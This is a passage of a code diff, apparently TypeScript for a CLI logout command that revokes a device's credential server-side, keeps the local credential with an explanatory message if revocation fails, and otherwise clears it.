+ body: logoutBody(cred),
63
+ });
64
+ }
65
+ catch (err) {
66
+ eprint(`Could not revoke this device server-side: ${err instanceof Error ? err.message : String(err)}\n` +
67
+ `The local credential was KEPT, because removing it would leave a valid\n` +
68
+ `credential with no way to revoke it from here.\n\n` +
69
+ `Retry when the server is reachable, or run \`symbols logout --local\` if you\n` +
70
+ `accept that this device stays authorised until you revoke it in the app.\n`);
71
+ return 1;
72
+ }
73
+ await clear();
74
+ forgetAccessToken();
75
+ eprint("Signed out. This device is revoked server-side and its credential removed.\n" +
76
+ "An access token minted in the last 15 minutes remains valid until it expires.\n");
77
+ return 0;
78
+ }